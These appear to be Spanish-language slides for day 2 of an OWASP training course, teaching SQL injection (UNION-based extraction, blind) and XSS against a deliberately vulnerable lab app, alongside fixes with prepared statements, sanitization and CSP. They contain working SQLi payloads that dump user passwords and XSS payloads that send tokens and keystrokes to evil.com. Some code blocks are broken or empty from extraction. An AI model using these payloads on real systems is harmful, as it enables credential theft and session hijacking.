



Carlos Rodríguez Contreras · GitHub: karrocon

Agenda del día

Sesión 1 (2h)

Bloque	Tema
Repaso	Warm-up día 1
T04	SQL Injection – teoría completa
Lab	SQLi ataques progresivos
T04-Fix	Prepared Statements
Lab	Aplicar el fix

Sesión 2 (2h)

Bloque	Tema
T05	XSS – teoría completa
Lab	XSS reflejado y almacenado
T05-Fix	Sanitización y CSP
Lab	Aplicar fixes de XSS

Objetivos del día

Al terminar hoy serás capaz de:

1.  Extraer **toda la base de datos** con UNION SELECT
2.  Distinguir SQLi In-band, Blind y Union-based
3.  Inyectar JavaScript que roba tokens de otros usuarios
4.  Corregir ambas vulnerabilidades con **una línea** de código

 **Hoy dominamos OWASP A05: Injection** — la categoría que incluye SQLi y XSS.

OWASP Top 10:2025 — Progreso

#	Categoría	Día(s)	Estado
A01	Broken Access Control	4	
A02	Security Misconfiguration	6-7	
A03	Software Supply Chain Failures	6, 8	
A04	Cryptographic Failures	5	
A05	Injection (SQLi + XSS)	1-3	 HOY
A06	Insecure Design	4, 6	
A07	Authentication Failures	3-4	
A08	Software/Data Integrity Failures	8	
A09	Security Logging & Alerting	8	
A10	Mishandling of Exceptional Conditions	3	

Día 1: primer contacto con SQLi (bypass) · **Hoy: UNION, Blind + XSS completo**

Lo que ya sabéis (día 1)

- ✓ Login con `' OR 1=1--` → token de admin
- ✓ Estructura HTTP: método, headers, body
- ✓ Secretos expuestos en `/debug` y en código
- ✓ La query SQL se construye concatenando el input del usuario

Warm-up – Reconstruye la query

Reto rápido: Para cada payload, escribe la query resultante y di si funciona:

Payload	Query resultante	¿Funciona?
alice	...WHERE username='alice' AND password='x'	✗ (password incorrecta)
' OR 1=1--	...WHERE username='' OR 1=1--'...	✓ (bypasa check)
' OR 'a'='a	¿?	¿?
admin'--	¿?	¿?

🎯 Resolved: ' OR 'a'='a' → WHERE username='' OR 'a'='a' AND password='x' → depende de precedencia.
admin'-- → WHERE username='admin'--'... → ✓ si admin existe.

Del bypass a la exfiltración — ¿Qué más podemos hacer?

Día 1 (bypass):

```
' OR 1=1--  
→ Saltarse la contraseña  
→ Pero solo ves el perfil
```

Día 2 (exfiltración):

Input → AÑADIR otra consulta

' UNION SELECT ...--

→ Usuarios, contraseñas, secretos

```
</div>  
  
</div>  
  
<div class="box-red">  
  💡 **La diferencia:** el bypass te da acceso. La exfiltración te da **todos los datos**. Es como pasar de abrir una puerta a vaciar la caja fuerte.  
</div>  
  
---  
  
## Anticipación - ¿Cómo funciona UNION en SQL normal?  
  
Antes de atacar, entendamos 'UNION' en SQL legítimo:  
  
```sql  
-- Consulta 1: obtener nombres de productos
SELECT name, price FROM products;

-- Consulta 2: obtener nombres de usuarios (mismas columnas!)
SELECT username, role FROM users;

-- UNION: combinar ambas consultas en un solo resultado
SELECT name, price FROM products
UNION
SELECT username, role FROM users;
```

**Regla de UNION:** ambas consultas deben tener el mismo número de columnas.

💡 El atacante usa UNION para "pegar" datos de otras tablas al resultado de la consulta vulnerable.

## Hoy subimos de nivel:

```
Día 1: ' OR 1=1-- → "soy admin"
Día 2: ' UNION SELECT ...-- → "tengo TODA la BD"
Día 2: → "robo tu token"
```



# **T04: SQL Injection — Teoría completa**

**De bypass de login a exfiltración total**

# Tipos de SQL Injection

Tipo	Cómo funciona	Visibilidad
In-band (Union)	Los datos extraídos aparecen en la respuesta	Alta – ves el resultado
Error-based	El mensaje de error revela datos	Media – parcial
Blind (Boolean)	<code>TRUE</code> vs <code>FALSE</code> cambia la respuesta	Baja – 1 bit por consulta
Time-based	<code>SLEEP(5)</code> para inferir datos	Baja – lento pero universal

En VulnApp → Union-based (la más potente cuando funciona).

# El plan de ataque — 4 pasos lógicos

Antes de ejecutar nada, entendamos la **estrategia**:

Paso 1: ¿Cuántas columnas tiene la consulta original?  
(UNION exige el mismo número)

Paso 2: ¿Cuáles de esas columnas se muestran en la respuesta?  
(Solo inyectamos datos donde podemos verlos)

Paso 3: Extraer datos → inyectar SELECT en las columnas visibles  
(users, passwords, tablas...)

Paso 4: ¿Qué más hay? → descubrir todas las tablas de la BD

💡 **Pensar ANTES de ejecutar.** El ataque es metódico, no al azar.

# UNION SELECT — Paso 1: Contar columnas

El **UNION** exige que ambas consultas tengan el **mismo número de columnas**.

```
-- Ir incrementando hasta que deje de dar error:
' ORDER BY 1-- → OK
' ORDER BY 2-- → OK
' ORDER BY 3-- → OK
' ORDER BY 4-- → OK
' ORDER BY 5-- → OK

' ORDER BY 6-- → ERROR ← ¡Hay 5 columnas!
```

**Veamos la query completa que ejecuta el servidor:**

```
SELECT * FROM users WHERE username=' ' ORDER BY 5-- ' AND password='x'
-- ^^^^^^^^^^^^^^^^^
-- ordena por columna 5 (si existe → OK)
```

**En VulnApp:** la tabla **users** tiene 5 columnas (id, username, password, role, email).

## UNION SELECT — Paso 2: Identificar columnas visibles

```
-- ¿Qué columnas se reflejan en la respuesta?
' UNION SELECT 'A','B','C','D','E'--
```

### Respuesta de VulnApp:

```
{
 "user": { "id": "A", "username": "B", "role": "D" }
}
```

→ Las posiciones **2** y **4** se muestran en la respuesta. Inyectamos ahí.

## UNION SELECT — Paso 3: Extraer datos

```
-- Extraer TODOS los usuarios y contraseñas en una petición:
' UNION SELECT 1,group_concat(username||':'||password,' | '),3,4,5
FROM users--
```

### Resultado:

```
{
 "username": "alice:password123 | bob:qwerty | carol:letmein"
}
```

💀 **Toda la tabla de usuarios en una sola petición.** Contraseñas en texto plano.

## UNION SELECT — Paso 4: Descubrir todas las tablas

```
-- Listar todas las tablas de la base de datos (SQLite):
' UNION SELECT 1,group_concat(name,' | '),3,4,5
 FROM sqlite_master WHERE type='table'--

Resultado:

```json  
  "username": "users | sqlite_sequence | comments | products"  
}
```

Ahora puedes extraer datos de **cualquier tabla**.

Ataque avanzado – Crear un usuario falso

```
-- Inyectar un usuario ficticio en la respuesta:  
' UNION SELECT 99,'hacker','fake','admin','h@evil.com'--
```

Blind SQLi (cuando no ves output):

-- ¿La contraseña de alice empieza por 'p'?

```
---  
  
## 📝 Lab T04 – SQLi ataques progresivos  
  
```bash  
URL="https://vulnapp-owasp-01.azurewebsites.net/auth/login"
H="Content-Type: application/json"

1. Descubrir número de columnas
curl -s -X POST $URL -H "$H" \
 -d '{"username":"","password":"x"}' | jq .

2. Extraer todos los usuarios
curl -s -X POST $URL -H "$H" \
 -d '{"username":"","password":"x"}' | jq .

3. Listar todas las tablas
curl -s -X POST $URL -H "$H" \
 -d '{"username":"","password":"x"}' | jq .
```



## Ejercicio — Escribe la query completa del UNION

Antes de pasar al fix, asegúrate de entender qué ejecuta el servidor:

La query **COMPLETA** que ejecuta el servidor:

```
SELECT * FROM users WHERE username= ''
```

**Pregunta:** ¿Por qué la primera parte ( `WHERE username= ''` ) no devuelve nada?

→ Porque no existe un usuario con nombre vacío. Solo devuelve los resultados del UNION.

 Si puedes escribir la query resultante de memoria, dominas SQLi.

# El fix — Prepared Statements (una línea)

## ❌ VULNERABLE — Concatenación:

```
const query = `SELECT * FROM users

 WHERE username='${username}'
const user = db.prepare(query).get();
```

El input del usuario se **mezcla** con el SQL.

## ✅ SEGURO — Parámetros:

```
const user = db.prepare(
 'SELECT * FROM users WHERE username = ? AND password = ?'
) .get(username, password);
```

El input **nunca** se interpreta como SQL.

✅ El **?** le dice al motor: "esto es un VALOR, no código SQL". Imposible inyectar.

# Casos reales de SQLi

Caso	Año	Impacto
Heartland Payment	2008	130M tarjetas de crédito
Sony PSN	2011	77M cuentas, 23 días offline
MOVEit (CIOp)	2023	2.500+ organizaciones, ransomware masivo

⚠ **SQLi lleva 25 años** en el top de vulnerabilidades. Sigue siendo la #1 en muchas apps.

# T05: Cross-Site Scripting (XSS)

Inyectar JavaScript en el navegador de otros usuarios

## Antes de atacar — ¿Cómo muestra datos una web?

```
// El servidor devuelve: { content: "Buen coche!" }
// El frontend lo pinta así:
element.innerHTML = comment.content;
```

**Pregunta:** ¿Y si el contenido del comentario es HTML en vez de texto?

```
// El servidor devuelve: { content: "Negrita" }
element.innerHTML = "Negrita";
// → El navegador renderiza: Negrita (en negrita)
```

⚠ `innerHTML` interpreta el contenido como **HTML**, no como texto plano. Si contiene etiquetas, se ejecutan.

# Anticipación — ¿Qué pasa si el comentario tiene JS?

```
// El atacante publica este "comentario":
{ content: '' }

// El frontend hace:
```

## ¿Qué pasa en el navegador?

1. Intenta cargar la imagen `x` → no existe → ERROR
2. Se dispara el evento `onerror`
3. Ejecuta `alert(1)` → **JavaScript ejecutado por el atacante**

Es exactamente el MISMO problema que SQLi, pero en el navegador.

💀 **SQLi**: dato → se interpreta como SQL · **XSS**: dato → se interpreta como HTML/JS

# ¿Qué es XSS?

El atacante inyecta **código JavaScript** que se ejecuta en el navegador de la víctima:

```
<!-- El atacante publica este comentario: -->

```

Cuando otro usuario ve la página con ese comentario → **su navegador ejecuta el JS.**

Tipo	Vector	Persistencia
Reflected	URL con payload, la víctima hace clic	No – un solo uso
Stored	Payload guardado en BD (comentarios, perfiles)	Sí – afecta a todos
DOM-based	JS del cliente lee la URL sin sanitizar	No – solo cliente

## ¿Por qué `<script>` no funciona pero `<img onerror>` sí?

```
<!-- ❌ NO se ejecuta (HTML5 spec: innerHTML ignora <script>) -->
<script>alert('XSS')</script>
```

```
<!-- ✅ SÍ se ejecuta (event handlers siempre se evalúan) -->

<svg onload="alert('XSS')">
<details open ontoggle="alert('XSS')">
```

⚠️ Un filtro que solo bloquea `<script>` es **inútil**. Hay docenas de vectores alternativos.



## XSS en VulnApp – Stored (comentarios)

```
// src/routes/comments.ts – VULNERABLE
// El contenido se guarda TAL CUAL en la BD:
db.run('INSERT INTO comments (content, user_id) VALUES (?, ?)',
 content, userId); // content no se sanitiza

// Luego se renderiza sin escapar en el frontend:
element.innerHTML = comment.content; // ← PELIGRO

El atacante publica un comentario con:

```html
<img src=x onerror="fetch('https://evil.com?t='+localStorage.getItem('token'))">
```

→ Cada usuario que vea los comentarios **envía su token al atacante**.

Payloads de ataque XSS

```
<!-- 1. Prueba de concepto (PoC) -->
<img src=x onerror="alert('XSS por ' + document.domain)">

<!-- 2. Robo de token JWT -->
<img src=x onerror="fetch('https://evil.com?t='+localStorage.getItem('token'))">

<!-- 3. Keylogger (captura teclas) -->
<img src=x onerror="document.onkeypress=e=>fetch('https://evil.com?k='+e.key)">

<!-- 4. Defacement (desfigurar la web) -->
<div style="position:fixed;top:0;left:0;width:100vw;height:100vh;
  background:red;z-index:9999;display:flex;align-items:center;
  justify-content:center"><h1 style="color:white;font-size:5em">
HACKEADO</h1></div>
```

DOM-XSS — Sin pasar por el servidor

```
// Frontend VULNERABLE - lee parámetro de URL sin sanitizar:  
const msg = new URLSearchParams(location.search).get('msg');  
  
document.getElementById('banner').innerHTML = msg;  // ← PELIGRO
```

Ataque via URL:

```
https://vulnapp-owasp-01.azurewebsites.net/?msg=<img src=x onerror=alert('DOM-XSS')>
```

El servidor **nunca ve** el payload (está en el fragmento del cliente). Los WAF no lo detectan.

Lab T05 — XSS reflejado y almacenado

Ataque 1 — Stored XSS (comentarios):

1. Login como bob → ir a comentarios
2. Publicar: `<img src=x onerror=alert(1)>`
3. ¿Salta la alerta? → Login como carol → ¿también le salta?

Ataque 2 — Robo de token:

1. Publicar: `<img src=x onerror=alert(localStorage.getItem('token'))>`
2. ¿Qué token ves? ¿De quién es?

Ataque 3 — DOM-XSS:

1. Navegar a: `/?msg=<img src=x onerror=alert('DOM')>`

⚠ **Sin comillas dobles** en `onerror=...` — así funciona en el formulario, en curl y en fetch.
HTML permite atributos sin comillas si no tienen espacios.

 **Documenta** cada payload y resultado. Captura el token robado.

¿Qué es CSP y por qué importa?

Content Security Policy = una cabecera HTTP que le dice al navegador **qué puede ejecutar y de dónde**.

Directiva	Qué controla	Ejemplo
<code>default-src</code>	Todo lo que no tenga regla propia	<code>'self'</code> (solo mismo origen)
<code>script-src</code>	De dónde se pueden cargar scripts	<code>'self'</code> (sin CDNs externos)
<code>style-src</code>	De dónde se pueden cargar estilos	<code>'self' 'unsafe-inline'</code>
<code>img-src</code>	De dónde se pueden cargar imágenes	<code>'self' data: https:</code>

| `connect-src` | A qué URLs puede hacer fetch/XHR | `'self' https://api.tudominio.com` |

Sin CSP → cualquier XSS inyectado se ejecuta sin restricción.

Con CSP → el navegador **BLOQUEA** scripts inline y orígenes no autorizados.

✓ **Analogy:** CSP es como una lista VIP en la puerta de una discoteca. Solo entra quien está en la lista.

CSP en acción — antes y después

Sin CSP (VulnMotors por defecto):

Atacante inyecta: `<img src=x onerror="fetch('https://evil.com?t='+localStorage.token)">`

Navegador: "OK, ejecuto" → TOKEN ROBADO ❌

Con CSP configurado (`script-src 'self'`):

Atacante inyecta: `<img src=x onerror="fetch('https://evil.com?t='+localStorage.token)">`

`<div class="box-amber">`

⚠️ CSP **no** sustituye la sanitización. Es la 3ª barrera: si las otras fallan, CSP limita el daño.
En el **día 6** veremos las 6 cabeceras de seguridad completas (CSP, HSTS, X-Frame-Options...).

`</div>`

Casos reales de XSS

Caso	Año	Impacto
----- ----- -----		
Samy worm	(MySpace) 2005	1M amigos en 20h - primer gusano XSS
British Airways	2018	380K tarjetas robadas, multa £20M GDPR
Fortnite	2019	XSS en subdomain → session hijacking de millones de cuentas

Labs del día - resumen

Lab	Qué harás	Nivel
---- ----- -----		
T04 - SQLi	ORDER BY → UNION → extraer users → sqlite_master	🔥🔥🔥
T04 - Fix	Cambiar a prepared statements	🔵
T05 - XSS	Inyectar en comentarios, productos, URL 'msg='	🔥🔥🔥
T05 - Fix	sanitize-html + textContent + CSP	🔵

`<div class="exercise">`

🟢 **URL:** `'https://vulnapp-owasp-01.azurewebsites.net'`
📄 **Documentad** cada ataque exitoso - lo usaréis en el informe final (día 8).

`</div>`

Resumen del día

Ataque	Payload clave	Defensa
--------	---------------	---------